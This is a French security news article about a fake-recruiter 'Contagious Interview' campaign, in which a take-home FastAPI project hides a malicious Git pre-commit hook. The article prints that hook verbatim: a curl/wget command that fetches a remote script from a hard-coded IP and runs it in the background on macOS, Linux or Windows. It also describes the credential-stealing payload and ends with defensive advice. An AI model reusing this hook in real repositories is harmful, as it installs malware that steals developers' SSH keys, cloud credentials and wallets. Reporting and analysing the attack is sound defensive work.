Un malware caché dans un test technique vole les clés SSH des développeurs

SécuritéIngénierie SocialeEmploi

Sources:HN + web research · HN

Quand l’exercice d’entretien se transforme en cheval de Troie : une « embauche » minutieusement orchestrée

Jeudi dernier, un développeur nommé Appaji a reçu un message de recrutement sur LinkedIn. Le poste proposé : développeur Python à distance, salaire mensuel de 10 000 à 15 000 dollars. Le processus de sélection semblait simple : un échange en ligne suivi d’un « projet à rendre » (take-home project). Une rémunération alléchante, une startup issue de Y Combinator — tout paraissait légitime.

Mais Appaji a fait preuve de prudence. Il a téléchargé l’archive du projet et, par réflexe, a exécuté tree -a pour inspecter les répertoires cachés. Dans l’arborescence, il a repéré un fichier suspect : .git/hooks/pre-commit. En l’ouvrant — une ligne de script téléchargeant à distance, capable d’identifier automatiquement le système d’exploitation. Selon que vous êtes sous macOS, Linux ou Windows, il déploie silencieusement une porte dérobée correspondante, qui s’exécute en arrière-plan sans le moindre signe apparent. Une attaque soigneusement conçue pour dérober clés SSH, identifiants AWS, portefeuilles de cryptomonnaies… en transformant l’environnement de développement de la victime en un coffre grand ouvert, sans que celle-ci ne s’en aperçoive.

Capture d'écran du message de recrutement LinkedIn

Légende : le message LinkedIn reçu. Le recruteur indique d’emblée la fourchette de salaire — une pratique qui, bien que pas rare dans le recrutement réel, constituait avec le recul un premier signal d’alarme.

Le scénario complet d’un « entretien »

À partir de l’analyse technique publiée par Appaji, reconstituons la chaîne d’attaque complète.

Première étape : l’hameçonnage — qui refuse un salaire mirobolant ?

Le recruteur contacte sa cible directement sur LinkedIn. La fourchette de salaire est extrêmement attractive, bien au-dessus du marché indien. La réaction naturelle de la victime : « quelle chance ! » Le processus d’entretien se déroule sans accroc — le CV est accepté rapidement.

Deuxième étape : un projet de programmation en apparence professionnel

Le recruteur envoie un lien Google Drive contenant une archive ZIP et un PDF décrivant l’exercice. Le projet est un backend FastAPI avec SQLAlchemy comme ORM — un exercice Python tout à fait classique. Le fichier requirements.txt est irréprochable, sans aucune dépendance suspecte.

Troisième étape : la « bombe à retardement » cachée dans .git/hooks

Mais quand Appaji lance tree -a pour voir tous les fichiers cachés, il découvre dans le répertoire .git/hooks plus d’une vingtaine de scripts Git hooks prêts à l’emploi. Les Git hooks sont une fonctionnalité puissante mais relativement méconnue de Git — ils permettent d’exécuter automatiquement des scripts lors de certains événements (comme git commit). Conçus comme un outil de productivité, ils deviennent ici un vecteur de malware idéal.

Le hook pre-commit se déclenche automatiquement lors d’un git commit. Sa logique tient en quelques lignes :

#!/bin/sh
case "$(uname -s)" in
  Darwin*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;;
  Linux*) wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' -L | sh > /dev/null 2>&1 & ;;
  MINGW*|MSYS*|CYGWIN*) curl -sL http://45.61.164.38:5777/task/windows?id=402 -L | cmd > /dev/null 2>&1 & ;;
esac

Ce code détecte le système d’exploitation, télécharge un script depuis un serveur distant et l’exécute silencieusement en arrière-plan — sans aucune interaction de l’utilisateur, sans aucune fenêtre contextuelle. Une fois que vous lancez git commit, le piège se referme.

Le PDF d’instructions d’entretien incluait justement des opérations Git — demandant au candidat de modifier le code puis de faire un commit, précisément pour déclencher le hook.

Quatrième étape : charge utile multi-étages — le voleur déguisé en « dépendance npm »

Le premier script télécharge un second script depuis le même serveur, le sauvegarde discrètement dans ~/Documents/ sous un nom en .sh, et l’exécute en arrière-plan via nohup. Ce second script a un objectif plus précis : installer Node.js, télécharger parser.js et package.json, installer les dépendances npm et exécuter parser.js.

Ce parser.js est fortement obscurci, mais son package.json révèle les intentions de l’attaquant : les dépendances incluent clipboardy (lecture du presse-papiers), basic-ftp (transfert FTP), axios (requêtes HTTP), jsonwebtoken (manipulation de jetons JWT) et hardhat (outil de développement Ethereum). Autant d’indices que l’attaquant ne cherchait pas seulement des clés SSH et des identifiants AWS, mais aussi des informations sur des portefeuilles de cryptomonnaies.

Capture d'écran du salaire : 10 000 à 15 000 $ par mois

Légende : le recruteur divulguait la fourchette de salaire dès le premier contact. Avec le recul, ce salaire anormalement élevé constituait un « appât » typique, conçu pour endormir la méfiance de la cible dans l’excitation et l’espoir.

Regard croisé : à quel point l’attaquant est-il professionnel ?

Cet incident dépasse de loin un malware ordinaire.

Un mécanisme de déclenchement astucieux. L’attaquant a délibérément inclus des exercices Git dans le PDF d’instructions, poussant la victime à exécuter « volontairement » un git commit pour activer le code malveillant. Chaque étape était calibrée sur le comportement attendu de la victime.

Couverture multiplateforme. Le script d’attaque couvre macOS, Linux et Windows, utilisant des outils et commandes différents selon la plateforme, preuve que l’attaquant planifiait dès le départ une campagne massive, non ciblée sur un type particulier de développeur.

Mécanisme de suivi d’identité. Le paramètre id=402 dans l’URL de requête n’est pas statique. En changeant cet ID, le serveur renvoie des scripts différents. Il est probable que l’attribue un identifiant unique à chaque victime, pour savoir lesquelles ont mordu à l’hameçon et adapter la charge utile en conséquence.

Moyens de propagation variés. En plus du piège dans .git/hooks, une autre variante utilise les tâches de démarrage VSCode dans le répertoire .vscode pour propager le malware. Il suffit d’ouvrir le projet avec VSCode et de « faire confiance » à l’auteur pour que le code malveillant s’exécute automatiquement.

Mais aussi un côté amateur. L’adresse IP du serveur C2 est en clair dans le code, sans nom de domaine masqué — une approche plutôt « primitive » pour un malware moderne. En revanche, la version SSH du serveur est la 9.6p1, la plus récente — signe que l’attaquant a un certain souci de sécurité opérationnelle.

Ce mélange de négligence et de sophistication suggère un groupe criminel de taille moyenne, en train d’itérer rapidement sur ses outils d’attaque.

Pourquoi les développeurs sont-ils devenus des cibles ?

Cibler les développeurs en recherche d’emploi n’a rien d’un hasard.

Les clés sont des actifs. Le poste de travail d’un développeur (surtout backend ou DevOps) contient presque inévitablement des clés SSH privées, des identifiants AWS/GCP/Azure, des mots de passe de bases de données, des jetons d’API… Pirater un développeur, c’est obtenir les clés de toute l’infrastructure cloud de son entreprise. Une clé SSH privée se négocie bien plus cher sur le marché noir que des coordonnées bancaires ordinaires.

L’inertie de la confiance. Le cadre de l’entretien offre une couverture naturelle à l’attaque. Quand on cherche activement un emploi, on est dans un état d’esprit où l’on veut être apprécié et où l’on se plie aux procédures. Le recruteur vous demande de faire un exercice de code, de cloner un dépôt, d’exécuter des commandes — tout cela paraît parfaitement normal aux yeux du candidat. L’attaquant exploite cette asymétrie de confiance avec une précision redoutable.

Faible coût technique, fort rendement. Créer un projet FastAPI crédible ne prend que quelques heures. Cloner un dépôt open source existant, y ajouter des hooks malveillants, le reconditionner — le coût est dérisoire, et le gain potentiel peut atteindre des centaines de milliers de dollars.

Les « entretiens piégés » explosent

L’histoire d’Appaji n’est pas un cas isolé. L’équipe sécurité de Microsoft a nommé cette catégorie d’attaques « Contagious Interview » (l’entretien contagieux), signalant que cette campagne est active depuis au moins décembre 2022. Les attaquants se font passer pour des recruteurs de startups crypto ou IA et distribuent des exercices de programmation piégés via des plateformes d’hébergement de code.

Selon les statistiques de la communauté sécurité, le nombre de cas d’« entretiens piégés » a plus que doublé au premier semestre 2026 par rapport à la même période l’année précédente. Plusieurs développeurs sur Hacker News ont partagé des expériences similaires — l’un d’eux, IvanGoncharov, raconte avoir été invité à cloner et exécuter un dépôt lors d’un entretien en ligne comme test technique, avant que le « CTO » n’annule la suite du processus pour cause de maladie, et que le profil LinkedIn du RH ne disparaisse quelques jours plus tard. Ce n’est qu’en lisant l’article d’Appaji qu’il a réalisé qu’il était infecté — étant un ancien mainteneur d’un package npm très populaire (plus de 43 millions de téléchargements par semaine), il représentait une cible de choix. Il a dû formater complètement son ordinateur et réinstaller son système.

Résultat de recherche pour l'extension « .npl »

Légende : l’extension .npl est associée à des campagnes APT connues. L’attaquant utilisait cette extension dans la première couche de la charge utile pour contourner les vérifications superficielles de nom de fichier.

Comment se protéger ? Conseils pratiques pour les chercheurs d’emploi

L’objectif n’est pas de semer la panique, mais quelques précautions de base peuvent éviter de devenir la prochaine victime.

1. Exécutez toujours les projets d’entretien dans un environnement isolé. Avant de lancer un projet localement, utilisez une machine virtuelle ou un conteneur Docker. Lancez tree -a ou ls -la pour vérifier la présence de fichiers cachés suspects ou de hooks préinstallés.

2. Inspectez les répertoires .git/hooks et .vscode. Si le projet d’entretien est livré avec un dépôt Git, examinez le contenu de .git/hooks, en particulier les scripts pre-commit et post-checkout. Pour les projets VSCode, vérifiez .vscode/tasks.json et .vscode/launch.json.

3. Méfiez-vous des offres « salaire élevé + entretien simplifié ». Un salaire bien au-dessus du marché associé à un processus d’entretien très simplifié est en soi un signal d’alarme.

4. Ne conservez pas d’identifiants importants sur la machine d’entretien. Pendant votre recherche d’emploi, envisagez d’utiliser un environnement de développement « propre » ou virtuel, sans y stocker vos clés SSH ou identifiants de services cloud.

5. Vérifiez les dépendances et les scripts de build. Avant d’exécuter npm install ou pip install, examinez package.json, requirements.txt et Makefile — y a-t-il des dépendances suspectes ? Des scripts déclenchés à l’installation ?

6. Soyez attentif à la « date de péremption » du profil LinkedIn du recruteur. Si le profil LinkedIn du recruteur est trop récent (créé récemment, peu de contacts, expérience floue), il s’agit probablement d’un faux compte. Un vrai recruteur a généralement plusieurs années d’historique RH et un réseau professionnel visible.

En guise de conclusion

Ce qui frappe le plus dans cette histoire, c’est cette impression de « j’ai failli tomber dans le piège ». Appaji lui-même reconnaît que sans l’habitude — acquise lors de compétitions CTF — d’inspecter les répertoires cachés, il aurait très bien pu faire un git commit et pousser le code. Il correspondait parfaitement au profil de la « victime idéale » attendue par l’attaquant : expérimenté, compétent, en recherche d’emploi.

La terreur de cette attaque tient à ce qu’elle exploite le mécanisme de confiance le plus fondamental de la société : « Ce que le recruteur vous demande de faire est normal et sans danger. » Quand le code malveillant est emballé dans un processus de recrutement en apparence banal, l’antivirus le plus perfectionné devient impuissant.

Dans le cyberespace, le maillon faible reste peut-être toujours cette petite voix intérieure qui murmure : « Cette fois-ci, ça devrait aller. »


Références

  • I Inspected My Take-Home Interview Project. It Was a Whole Operation (article original)
  • Contagious Interview: Malware delivered through fake developer job interviews (blog sécurité Microsoft)
  • Fake Job Interview Backdoor Malware Targeting Developer Machines (DEV Community)
  • Contagious Interview malware in SVG images: DPRK campaign (Elastic Security Labs)
  • Fil de discussion Hacker News (ID : 49013036)